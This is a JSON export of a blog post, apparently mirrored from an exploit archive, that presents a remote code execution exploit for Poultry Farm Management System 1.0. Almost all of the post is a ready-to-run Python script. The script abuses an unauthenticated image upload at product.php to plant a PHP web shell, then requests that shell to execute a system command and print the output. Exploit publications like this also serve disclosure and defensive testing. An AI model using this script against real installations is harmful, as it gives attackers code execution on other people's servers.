{"id":57700,"date":"2024-06-26T19:00:39","date_gmt":"2024-06-26T16:00:39","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179206\/poultryfms10-shell.txt"},"modified":"2024-06-26T19:00:39","modified_gmt":"2024-06-26T16:00:39","slug":"poultry-farm-management-system-1-0-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/poultry-farm-management-system-1-0-shell-upload\/","title":{"rendered":"Poultry Farm Management System 1.0 Shell Upload"},"content":{"rendered":"<p># Exploit Title: Poultry Farm Management System v1.0 &#8211; Remote Code Execution (RCE)<br \/># Date: 24-06-2024<br \/># CVE: N\/A (Awaiting ID to be assigned)<br \/># Exploit Author: Jerry Thomas (w3bn00b3r)<br \/># Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/15230\/poultry-farm-management-system-free-download.html<br \/># Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/Redcock-Farm.zip<br \/># Github &#8211; https:\/\/github.com\/w3bn00b3r\/Unauthenticated-Remote-Code-Execution-RCE&#8212;Poultry-Farm-Management-System-v1.0\/<br \/># Category: Web Application<br \/># Version: 1.0<br \/># Tested on: Windows 10 | Xampp v3.3.0<br \/># Vulnerable endpoint: http:\/\/localhost\/farm\/product.php<\/p>\n<p>import requests<br \/>from colorama import Fore, Style, init<\/p>\n<p># Initialize colorama<br \/>init(autoreset=True)<\/p>\n<p>def upload_backdoor(target):<br \/>upload_url = f&#8221;{target}\/farm\/product.php&#8221;<br \/>shell_url = f&#8221;{target}\/farm\/assets\/img\/productimages\/web-backdoor.php&#8221;<\/p>\n<p># Prepare the payload<br \/>payload = {<br \/>&#8216;category&#8217;: &#8216;CHICKEN&#8217;,<br \/>&#8216;product&#8217;: &#8216;rce&#8217;,<br \/>&#8216;price&#8217;: &#8216;100&#8217;,<br \/>&#8216;save&#8217;: &#8221;<br \/>}<\/p>\n<p># PHP code to be uploaded<br \/>command = &#8220;hostname&#8221;<br \/>data = f&#8221;&lt;?php system(&#8216;{command}&#8217;);?&gt;&#8221;<\/p>\n<p># Prepare the file data<br \/>files = {<br \/>&#8216;productimage&#8217;: (&#8216;web-backdoor.php&#8217;, data, &#8216;application\/x-php&#8217;)<br \/>}<\/p>\n<p>try:<br \/>print(&#8220;Sending POST request to:&#8221;, upload_url)<br \/>response = requests.post(upload_url, files=files, data=payload,<br \/>verify=False)<\/p>\n<p>if response.status_code == 200:<br \/>print(&#8220;\\nResponse status code:&#8221;, response.status_code)<br \/>print(f&#8221;Shell has been uploaded successfully: {shell_url}&#8221;)<\/p>\n<p># Make a GET request to the shell URL to execute the command<br \/>shell_response = requests.get(shell_url, verify=False)<br \/>print(&#8220;Command output:&#8221;, Fore.GREEN +<br \/>shell_response.text.strip())<br \/>else:<br \/>print(f&#8221;Failed to upload shell. Status code:<br \/>{response.status_code}&#8221;)<br \/>print(&#8220;Response content:&#8221;, response.text)<br \/>except requests.RequestException as e:<br \/>print(f&#8221;An error occurred: {e}&#8221;)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>target = &#8220;http:\/\/localhost&#8221; # Change this to your target<br \/>upload_backdoor(target)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Poultry Farm Management System v1.0 &#8211; Remote Code Execution (RCE)# Date: 24-06-2024# CVE: N\/A (Awaiting ID to be assigned)# Exploit Author: Jerry Thomas (w3bn00b3r)# Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/15230\/poultry-farm-management-system-free-download.html# Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/Redcock-Farm.zip# Github &#8211; https:\/\/github.com\/w3bn00b3r\/Unauthenticated-Remote-Code-Execution-RCE&#8212;Poultry-Farm-Management-System-v1.0\/# Category: Web Application# Version: 1.0# Tested on: Windows 10 | Xampp v3.3.0# Vulnerable endpoint: http:\/\/localhost\/farm\/product.php import requestsfrom colorama import &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57700","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57700","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57700"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57700\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57700"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57700"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57700"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}